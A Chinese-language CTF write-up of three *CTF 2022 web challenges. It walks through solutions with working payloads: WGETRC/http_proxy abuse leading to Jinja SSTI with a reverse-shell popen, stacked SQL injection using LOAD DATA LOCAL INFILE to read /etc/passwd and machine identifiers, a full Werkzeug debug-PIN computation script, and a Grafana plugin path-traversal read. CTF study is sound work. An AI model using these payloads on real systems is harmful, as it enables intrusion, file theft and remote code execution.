2022*CTF-Web

2022*CTF-Web

写在前面

XCTF国际赛系列一直不错,周末参与了下这次比赛,虽然没有Java但总体还是蛮有意思

这里没按题目顺序写,只是写了在我心中从上到下的排序,对有源码的题目做了备份

oh-my-lotto

​ 链接: https://pan.baidu.com/s/1G53aYqIIbHGlowdWFhkKqw 提取码: oism

oh-my-lotto

心目中比较有趣的一题呗,重生之我是赌神

这是一个非预期,因为后面又上了个revenge,简单分析下题目,先看看docker内容,可以知道大概的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
version: "3" 
services:

lotto:
build:
context: lotto/
dockerfile: Dockerfile
container_name: "lotto"

app:
build:
context: app/
dockerfile: Dockerfile
links:
- lotto
container_name: "app"

ports:
- "8880:8080"

之后看看代码,这里面有三个路由,从短到长

首先result路由返回/app/lotto_result.txt文件内容结果

1
2
3
4
5
6
7
8
9
@app.route("/result", methods=['GET'])
def result():

if os.path.exists("/app/lotto_result.txt"):
lotto_result = open("/app/lotto_result.txt", 'rb').read().decode()
else:
lotto_result = ''

return render_template('result.html', message=lotto_result)

forecast路由可以上传一个文件保存到/app/guess/forecast.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@app.route("/forecast", methods=['GET', 'POST'])
def forecast():

message = ''
if request.method == 'GET':
return render_template('forecast.html')
elif request.method == 'POST':
if 'file' not in request.files:
message = 'Where is your forecast?'

file = request.files['file']
file.save('/app/guess/forecast.txt')
message = "OK, I get your forecast. Let's Lotto!"
return render_template('forecast.html', message=message)

还有最关键的lotto路由(代码太多就不放完了),可以

1
os.system('wget --content-disposition -N lotto')

如果预测的值与环境随机生成的相等就能获得flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@app.route("/lotto", methods=['GET', 'POST'])
def lotto():

elif request.method == 'POST':
//看到flag从环境变量当中取出
flag = os.getenv('flag')
lotto_key = request.form.get('lotto_key') or ''
lotto_value = request.form.get('lotto_value') or ''

lotto_key = lotto_key.upper()

if safe_check(lotto_key):
os.environ[lotto_key] = lotto_value
try:
//从内网http://lotto当中获得随机值
os.system('wget --content-disposition -N lotto')

if os.path.exists("/app/lotto_result.txt"):
lotto_result = open("/app/lotto_result.txt", 'rb').read()
else:
lotto_result = 'result'
if os.path.exists("/app/guess/forecast.txt"):
forecast = open("/app/guess/forecast.txt", 'rb').read()
else:
forecast = 'forecast'

if forecast == lotto_result:
return flag

其中内网的lotto页面可以看到就是随机生成20个40以内随机数并返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@app.route("/")
def index():
lotto = []
for i in range(1, 20):
n = str(secrets.randbelow(40))
lotto.append(n)

r = '\n'.join(lotto)
response = make_response(r)
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'
return response

if __name__ == "__main__":
app.run(debug=True, host='0.0.0.0', port=80)

同时对于我们能控制的环境变量也有过滤safe_check,那像p牛之前提到的直接RCE就不行了

1
2
3
4
def safe_check(s):
if 'LD' in s or 'HTTP' in s or 'BASH' in s or 'ENV' in s or 'PROXY' in s or 'PS' in s:
return False
return True

既然题目要求如果预测成功就返回给我flag,那有啥办法能控制吗,这里就用到了PATH

PATH变量就是用于保存可以搜索的目录路径,如果待运行的程序不在当前目录,操作系统便可以去依次搜索PATH变量变量中记录的目录,如果在这些目录中找到待运行的程序,操作系统便可以直接运行,前提是有执行权限

那这样就比较简单了,如果我们控制环境变量PATH,让他找不到wget,这样wget --content-disposition -N lotto就会报错导致程序终止,/app/lotto_result.txt当中的内容就一直是第一次访问,随机生成的那个值了

  1. 访问/lotto获得第一次的结果

  2. 访问result页面记录内容下来备用

  1. 修改环境变量PATH后,发送预测值,再次访问/lotto即可

可以看到确实得到了flag,其中res.txt是第一次环境随机生成的结果

oh-my-lotto-revenge

做了一个修正,就算预测成功也没有结果返回,那就考虑如何rce了

1
2
3
4
5
if forecast == lotto_result:
return "You are right!But where is flag?"
else:
message = 'Sorry forecast failed, maybe lucky next time!'
return render_template('lotto.html', message=message)

先读文档https://www.gnu.org/software/wget/manual/wget.html#:~:text=6.1-,Wgetrc%20Location,-When%20initializing%2C%20Wget

发现有一个WGETRC,如果我们能够控制环境变量就可以操纵wget的参数了,这里有很多有意思的变量

这里说两个我解决这个问题用到的,一个是http_proxy,很明显如果配置了这个,本来是直接wget访问http://lotto的就会先到我们这里做一个转发,我们就可以当一个中间人

1
2
http_proxy = string
Use string as HTTP proxy, instead of the one specified in environment.

做个实验,此时再wget以后,成功接收到这个请求

因此我们只需要控制返回内容即可,那既然可以控制内容了,那能否控制目录呢,正好有output_document,相当于-O参数

1
2
output_document = file
Set the output filename—the same as ‘-O file’.

那么我覆盖index.html打SSTI即可

因此得到payload,写入内容为

1
2
http_proxy=http://xxxxx
output_document = templates/index.html

控制返回内容为

1
{{config.__class__.__init__.__globals__['os'].popen('反弹shell').read()}}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

def web():
url = "http://xxx/"

r = requests.post(url + "forecast",
files={'file': open("/Users/y4tacker/PycharmProjects/pythonProject/lottt/y4.txt", "rb")})

data = {
"lotto_key": "WGETRC",
"lotto_value": "/app/guess/forecast.txt"
}

r = requests.post(url + "lotto", data=data)
print(r.text)



if __name__ == '__main__':
web()

oh-my-notepro

好吧又是黑盒,烦死了

登录后,只有一个创建note的功能点,先是测试了下各种SSTI的payload没啥反应,之后猜测是不是要获取到admin的noteid,首先看到这种又臭又长0pn2jtgnfer9zaijadymsmq347eqmay3的字符肯定是不能爆破,尝试sql注入,经典单引号报错

尝试回显有五列,但是payload这么简单,毕竟是XCTF肯定不可能sql注入就能从数据库拖出flag(大概率无过滤是不可能这么简单的),当然也确实验证了没有flag,甚至没有admin用户

接下来尝试load_file读文件也不行,后面想去看看一些配置信息,一般我们通过类似show variables like xxx这样去读,但是其实也可以直接通过sql语句拿到global当中的信息

1
select @@global.secure_file_priv

好吧真拿你没办法洛

后面发现local_infile开了,不知道这是啥可以看看CSS-T | Mysql Client 任意文件读取攻击链拓展

那么要利用肯定常规的注入不行,只有一个东西能满足,那就是堆叠注入,简单验证下

1
http://123.60.72.85:5002/view?note_id=0' union select 1,2,3,4,5;select sleep(2)--+

页面确实有延时那验证了我们的猜想,接下来读文件

1
http://123.60.72.85:5002/view?note_id=0' union select 1,2,3,4,5; create table y4(t text); load data local infile '/etc/passwd' INTO TABLE y4 LINES TERMINATED BY '\n'--+

果然可以bro

那么想要rce只剩一个方法咯,都有报错页面了,算算pin呗

需要:

1.flask所登录的用户名

2.modname-一般固定为flask.app

3.getattr(app, “name”, app.class.name) - 固定,一般为Flask

4.在flask库下app.py的绝对路径,通过报错泄漏

5.当前网络的mac地址的十进制数

6.docker机器id

网上直接抄了一个发现不对,简单看了flask生成pin码的地方,在python3.8/site-packages/werkzeug/debug/__init__.py#get_pin_and_cookie_name

发现python3.8以后从原来的md5改成了sha1

那简单写个利用脚本就好了呗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests
import re
import hashlib
from itertools import chain

url = "http://124.70.185.87:5002/view?note_id="

payload1 = "0' union select 1,2,3,4,5; create table y4(t text); load data local infile '/sys/class/net/eth0/address' INTO TABLE y4 LINES TERMINATED BY '\\n'--+"
payload2 = "0' union select 1,2,3,4,5; create table yy4(t text); load data local infile '/proc/self/cgroup' INTO TABLE yy4 LINES TERMINATED BY '\\n'--+"
payload3 = "0' union select 1,2,3,(select group_concat(t) from y4),1; --+"
payload4 = "0' union select 1,2,3,(select group_concat(t) from yy4),1; --+"

headers = {
"cookie":"session=.eJwVi0EKwyAQAL8ie8mlEE3ArP1MWXdXCE21REsJpX-POcxlhvkB1z09WnlqhjvMkwvKHBktRmfD5J1NKj5EXBDZeppVAi5wg0_VPdNL-7UVEiPUyKw5rZuaYdTG45tq_crQZSumUezhOKRewP8E760nRw.YlqN-g.KZrp8S7tsXPS60cPH88awzRI35Q"
}
r = requests.get(url+payload1,headers=headers)
r = requests.get(url+payload2,headers=headers)


probably_public_bits = [
'ctf'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]

private_bits = [
str(int(re.search('</h1><pstyle="text-align:center">(.*?)</p></ul>',requests.get(url+payload3,headers=headers).text.replace("\n", "").replace(" ","")).groups()[0].replace(':',''),16)),# /sys/class/net/eth0/address 16进制转10进制
'1cc402dd0e11d5ae18db04a6de87223d'+re.search('</h1><pstyle="text-align:center">(.*?)</p></ul></body></body></html>',requests.get(url+payload4,headers=headers).text.replace("\n", "").replace(" ","")).groups()[0].split(",")[0].split("/")[-1]# /etc/machine-id + /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)


oh-my-grafana

之前被爆有任意文件读,不知道有啥插件简单fuzz一下得到

1
/public/plugins/alertGroups/../../../../../../../../etc/passwd

大概看了下文档看看能读些什么配置

先是读了sqlite,dump下来想看看admin密码来着,尝试很多没破解成功,显然是我不懂密码学

不过后面看到了grafana.ini,里面泄漏了,好吧还成功登陆了

后台啥都无,不过有个添加数据源的地方,显然这里被注释了,但是真的链接成功了

后面就是任意执行sql语句拿下了,没啥难度